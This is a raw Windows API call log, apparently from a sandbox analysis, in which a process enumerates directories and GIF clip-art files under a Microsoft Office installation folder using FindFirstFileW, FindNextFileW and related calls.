	[0275.264] FindNextFileW (in: hFindFile=0x192c63cd8e0, lpFindFileData=0xc0001df728 | out: lpFindFileData=0xc0001df728*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee45f66d, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x104b75c6, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x104b75c6, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="CLIPART", cAlternateFileName="")) returned 1
	[0275.264] FindNextFileW (in: hFindFile=0x192c63cd8e0, lpFindFileData=0xc0001df728 | out: lpFindFileData=0xc0001df728*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee45f66d, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x114a91d5, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x114a91d5, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Document Themes 16", cAlternateFileName="DOCUME~1")) returned 1
	[0275.264] FindNextFileW (in: hFindFile=0x192c63cd8e0, lpFindFileData=0xc0001df728 | out: lpFindFileData=0xc0001df728*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee45f66d, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x114f5747, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x114f5747, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Flattener", cAlternateFileName="FLATTE~1")) returned 1
	[0275.264] FindNextFileW (in: hFindFile=0x192c63cd8e0, lpFindFileData=0xc0001df728 | out: lpFindFileData=0xc0001df728*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee45f66d, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x115da4b2, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x115da4b2, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="fre", cAlternateFileName="")) returned 1
	[0275.264] FindNextFileW (in: hFindFile=0x192c63cd8e0, lpFindFileData=0xc0001df728 | out: lpFindFileData=0xc0001df728*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xd1f5fb21, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x3b2abe77, ftLastAccessTime.dwHighDateTime=0x1d47c34, ftLastWriteTime.dwLowDateTime=0x3b2abe77, ftLastWriteTime.dwHighDateTime=0x1d47c34, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Integration", cAlternateFileName="INTEGR~1")) returned 1
	[0275.264] FindNextFileW (in: hFindFile=0x192c63cd8e0, lpFindFileData=0xc0001df728 | out: lpFindFileData=0xc0001df728*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xe2687c83, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xee308135, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xee308135, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Licenses16", cAlternateFileName="LICENS~1")) returned 1
	[0275.264] FindNextFileW (in: hFindFile=0x192c63cd8e0, lpFindFileData=0xc0001df728 | out: lpFindFileData=0xc0001df728*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee45f66d, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xee45f66d, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0x983c2c8, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="loc", cAlternateFileName="")) returned 1
	[0275.264] FindNextFileW (in: hFindFile=0x192c63cd8e0, lpFindFileData=0xc0001df728 | out: lpFindFileData=0xc0001df728*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee45f66d, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xeb2fdc25, ftLastAccessTime.dwHighDateTime=0x1d47c33, ftLastWriteTime.dwLowDateTime=0xeb2fdc25, ftLastWriteTime.dwHighDateTime=0x1d47c33, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="mcxml", cAlternateFileName="")) returned 1
	[0275.265] FindNextFileW (in: hFindFile=0x192c63cd8e0, lpFindFileData=0xc0001df728 | out: lpFindFileData=0xc0001df728*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x83189ec0, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x3c29db74, ftLastAccessTime.dwHighDateTime=0x1d47c34, ftLastWriteTime.dwLowDateTime=0x3c29db74, ftLastWriteTime.dwHighDateTime=0x1d47c34, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Office16", cAlternateFileName="")) returned 1
	[0275.265] FindNextFileW (in: hFindFile=0x192c63cd8e0, lpFindFileData=0xc0001df728 | out: lpFindFileData=0xc0001df728*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x8396fbd3, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x3b1a0d3d, ftLastAccessTime.dwHighDateTime=0x1d47c34, ftLastWriteTime.dwLowDateTime=0x3b1a0d3d, ftLastWriteTime.dwHighDateTime=0x1d47c34, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="rsod", cAlternateFileName="")) returned 1
	[0275.265] FindNextFileW (in: hFindFile=0x192c63cd8e0, lpFindFileData=0xc0001df728 | out: lpFindFileData=0xc0001df728*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee45f66d, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xb48c20e, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xb48c20e, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Stationery", cAlternateFileName="STATIO~1")) returned 1
	[0275.265] FindNextFileW (in: hFindFile=0x192c63cd8e0, lpFindFileData=0xc0001df728 | out: lpFindFileData=0xc0001df728*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee45f66d, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xeb2fdc25, ftLastAccessTime.dwHighDateTime=0x1d47c33, ftLastWriteTime.dwLowDateTime=0xeb2fdc25, ftLastWriteTime.dwHighDateTime=0x1d47c33, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Templates", cAlternateFileName="TEMPLA~1")) returned 1
	[0275.265] FindNextFileW (in: hFindFile=0x192c63cd8e0, lpFindFileData=0xc0001df728 | out: lpFindFileData=0xc0001df728*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x845a7d02, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xeb2fdc25, ftLastAccessTime.dwHighDateTime=0x1d47c33, ftLastWriteTime.dwLowDateTime=0xeb2fdc25, ftLastWriteTime.dwHighDateTime=0x1d47c33, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="VFS", cAlternateFileName="")) returned 1
	[0275.265] FindNextFileW (in: hFindFile=0x192c63cd8e0, lpFindFileData=0xc0001df728 | out: lpFindFileData=0xc0001df728*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0
	[0275.265] FindClose (in: hFindFile=0x192c63cd8e0 | out: hFindFile=0x192c63cd8e0) returned 1
	[0275.265] WriteFile (in: hFile=0x0, lpBuffer=0xc00007a0a0, nNumberOfBytesToWrite=0x41, lpNumberOfBytesWritten=0xc0001df8f4, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0xc0001df8f4, lpOverlapped=0x0) returned 0
	[0275.265] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART" (normalized: "c:\\program files\\microsoft office\\root\\clipart"), fInfoLevelId=0x0, lpFileInformation=0xc0001df868 | out: lpFileInformation=0xc0001df868*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee45f66d, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x104b75c6, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x104b75c6, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1
	[0275.305] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART" (normalized: "c:\\program files\\microsoft office\\root\\clipart"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x1, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0275.305] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\*", lpFindFileData=0xc0001df620 | out: lpFindFileData=0xc0001df620*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee45f66d, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x104b75c6, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x104b75c6, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x192c63cd640
	[0275.306] FindNextFileW (in: hFindFile=0x192c63cd640, lpFindFileData=0xc0001df650 | out: lpFindFileData=0xc0001df650*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee45f66d, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x104b75c6, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x104b75c6, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0275.306] FindNextFileW (in: hFindFile=0x192c63cd640, lpFindFileData=0xc0001df650 | out: lpFindFileData=0xc0001df650*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xcb32840, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x1113bba3, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x1113bba3, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="PUB60COR", cAlternateFileName="")) returned 1
	[0275.306] FindNextFileW (in: hFindFile=0x192c63cd640, lpFindFileData=0xc0001df650 | out: lpFindFileData=0xc0001df650*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x104b75c6, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x104b75c6, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x104b75c6, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Publisher", cAlternateFileName="PUBLIS~1")) returned 1
	[0275.306] FindNextFileW (in: hFindFile=0x192c63cd640, lpFindFileData=0xc0001df650 | out: lpFindFileData=0xc0001df650*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0
	[0275.306] FindClose (in: hFindFile=0x192c63cd640 | out: hFindFile=0x192c63cd640) returned 1
	[0275.306] WriteFile (in: hFile=0x0, lpBuffer=0xc0002a8400, nNumberOfBytesToWrite=0x4a, lpNumberOfBytesWritten=0xc0001df81c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0xc0001df81c, lpOverlapped=0x0) returned 0
	[0275.306] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor"), fInfoLevelId=0x0, lpFileInformation=0xc0001df790 | out: lpFileInformation=0xc0001df790*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xcb32840, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x1113bba3, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x1113bba3, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1
	[0275.343] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x1, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0275.343] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\*", lpFindFileData=0xc0001df548 | out: lpFindFileData=0xc0001df548*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xcb32840, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x1113bba3, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x1113bba3, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x192c63cda60
	[0275.486] SetEvent (hEvent=0x124) returned 1
	[0275.486] FindNextFileW (in: hFindFile=0x192c63cda60, lpFindFileData=0xc0001df578 | out: lpFindFileData=0xc0001df578*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xcb32840, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x1113bba3, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x1113bba3, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0275.585] SetEvent (hEvent=0x124) returned 1
	[0275.586] FindNextFileW (in: hFindFile=0x192c63cda60, lpFindFileData=0xc0001df578 | out: lpFindFileData=0xc0001df578*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xf45328f, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xf45328f, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xf4794eb, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x2340, dwReserved0=0x0, dwReserved1=0x0, cFileName="AG00004_.GIF", cAlternateFileName="")) returned 1
	[0275.586] FindNextFileW (in: hFindFile=0x192c63cda60, lpFindFileData=0xc0001df578 | out: lpFindFileData=0xc0001df578*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xcb32840, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xcb32840, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xd790bed, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x1c30, dwReserved0=0x0, dwReserved1=0x0, cFileName="AG00011_.GIF", cAlternateFileName="")) returned 1
	[0275.586] FindNextFileW (in: hFindFile=0x192c63cda60, lpFindFileData=0xc0001df578 | out: lpFindFileData=0xc0001df578*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xcb32840, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xcb32840, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xcb32840, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x3a19, dwReserved0=0x0, dwReserved1=0x0, cFileName="AG00021_.GIF", cAlternateFileName="")) returned 1
	[0275.586] FindNextFileW (in: hFindFile=0x192c63cda60, lpFindFileData=0xc0001df578 | out: lpFindFileData=0xc0001df578*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xcb32840, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xcb32840, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xcbcb1a5, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x1a1c, dwReserved0=0x0, dwReserved1=0x0, cFileName="AG00037_.GIF", cAlternateFileName="")) returned 1
	[0275.586] FindNextFileW (in: hFindFile=0x192c63cda60, lpFindFileData=0xc0001df578 | out: lpFindFileData=0xc0001df578*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xcb58a9e, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xcb58a9e, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xd790bed, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0xcb3, dwReserved0=0x0, dwReserved1=0x0, cFileName="AG00038_.GIF", cAlternateFileName="")) returned 1
	[0275.586] FindNextFileW (in: hFindFile=0x192c63cda60, lpFindFileData=0xc0001df578 | out: lpFindFileData=0xc0001df578*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xcb32840, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xcb32840, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xcb58a9e, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x1fa1, dwReserved0=0x0, dwReserved1=0x0, cFileName="AG00040_.GIF", cAlternateFileName="")) returned 1
	[0275.586] FindNextFileW (in: hFindFile=0x192c63cda60, lpFindFileData=0xc0001df578 | out: lpFindFileData=0xc0001df578*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xcbcb1a5, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xcbcb1a5, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xcbcb1a5, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x1e06, dwReserved0=0x0, dwReserved1=0x0, cFileName="AG00052_.GIF", cAlternateFileName="")) returned 1
	[0275.586] FindNextFileW (in: hFindFile=0x192c63cda60, lpFindFileData=0xc0001df578 | out: lpFindFileData=0xc0001df578*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xdb709c6, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xdb709c6, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xdb96b67, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x2e73, dwReserved0=0x0, dwReserved1=0x0, cFileName="AG00057_.GIF", cAlternateFileName="")) returned 1
	[0275.586] FindNextFileW (in: hFindFile=0x192c63cda60, lpFindFileData=0xc0001df578 | out: lpFindFileData=0xc0001df578*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xec210f4, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xec210f4, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xec210f4, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x205, dwReserved0=0x0, dwReserved1=0x0, cFileName="AG00090_.GIF", cAlternateFileName="")) returned 1
	[0275.586] FindNextFileW (in: hFindFile=0x192c63cda60, lpFindFileData=0xc0001df578 | out: lpFindFileData=0xc0001df578*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xec210f4, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xec210f4, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xec210f4, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x1f6, dwReserved0=0x0, dwReserved1=0x0, cFileName="AG00092_.GIF", cAlternateFileName="")) returned 1
	[0275.586] FindNextFileW (in: hFindFile=0x192c63cda60, lpFindFileData=0xc0001df578 | out: lpFindFileData=0xc0001df578*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xcb32840, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xcb32840, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xcb32840, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x319e, dwReserved0=0x0, dwReserved1=0x0, cFileName="AG00103_.GIF", cAlternateFileName="")) returned 1
	[0275.586] FindNextFileW (in: hFindFile=0x192c63cda60, lpFindFileData=0xc0001df578 | out: lpFindFileData=0xc0001df578*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xcb32840, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xcb32840, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xcb32840, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0xd9c, dwReserved0=0x0, dwReserved1=0x0, cFileName="AG00120_.GIF", cAlternateFileName="")) returned 1
	[0275.586] FindNextFileW (in: hFindFile=0x192c63cda60, lpFindFileData=0xc0001df578 | out: lpFindFileData=0xc0001df578*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xcbcb1a5, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xcbcb1a5, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xcbcb1a5, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0xc44, dwReserved0=0x0, dwReserved1=0x0, cFileName="AG00126_.GIF", cAlternateFileName="")) returned 1
	[0275.586] FindNextFileW (in: hFindFile=0x192c63cda60, lpFindFileData=0xc0001df578 | out: lpFindFileData=0xc0001df578*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xf45328f, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xf45328f, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xf4794eb, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x30c2, dwReserved0=0x0, dwReserved1=0x0, cFileName="AG00129_.GIF", cAlternateFileName="")) returned 1
	[0275.586] FindNextFileW (in: hFindFile=0x192c63cda60, lpFindFileData=0xc0001df578 | out: lpFindFileData=0xc0001df578*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xf45328f, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xf45328f, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xf45328f, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x1485, dwReserved0=0x0, dwReserved1=0x0, cFileName="AG00130_.GIF", cAlternateFileName="")) returned 1
	[0275.586] FindNextFileW (in: hFindFile=0x192c63cda60, lpFindFileData=0xc0001df578 | out: lpFindFileData=0xc0001df578*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xf45328f, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xf45328f, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xf45328f, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0xa24, dwReserved0=0x0, dwReserved1=0x0, cFileName="AG00135_.GIF", cAlternateFileName="")) returned 1
	[0275.586] FindNextFileW (in: hFindFile=0x192c63cda60, lpFindFileData=0xc0001df578 | out: lpFindFileData=0xc0001df578*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xcbcb1a5, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xcbcb1a5, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xd790bed, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x296f, dwReserved0=0x0, dwReserved1=0x0, cFileName="AG00139_.GIF", cAlternateFileName="")) returned 1
	[0275.586] FindNextFileW (in: hFindFile=0x192c63cda60, lpFindFileData=0xc0001df578 | out: lpFindFileData=0xc0001df578*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xf45328f, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xf45328f, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xf45328f, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x3bcc, dwReserved0=0x0, dwReserved1=0x0, cFileName="AG00142_.GIF", cAlternateFileName="")) returned 1
	[0275.587] FindNextFileW (in: hFindFile=0x192c63cda60, lpFindFileData=0xc0001df578 | out: lpFindFileData=0xc0001df578*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xdbe306f, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xdbe306f, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xdbe306f, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x14c3, dwReserved0=0x0, dwReserved1=0x0, cFileName="AG00154_.GIF", cAlternateFileName="")) returned 1
	[0275.587] FindNextFileW (in: hFindFile=0x192c63cda60, lpFindFileData=0xc0001df578 | out: lpFindFileData=0xc0001df578*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xcbcb1a5, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xcbcb1a5, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xcbcb1a5, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x135b, dwReserved0=0x0, dwReserved1=0x0, cFileName="AG00157_.GIF", cAlternateFileName="")) returned 1
	[0275.587] FindNextFileW (in: hFindFile=0x192c63cda60, lpFindFileData=0xc0001df578 | out: lpFindFileData=0xc0001df578*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xcbcb1a5, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xcbcb1a5, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xcbcb1a5, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x13a6, dwReserved0=0x0, dwReserved1=0x0, cFileName="AG00158_.GIF", cAlternateFileName="")) returned 1
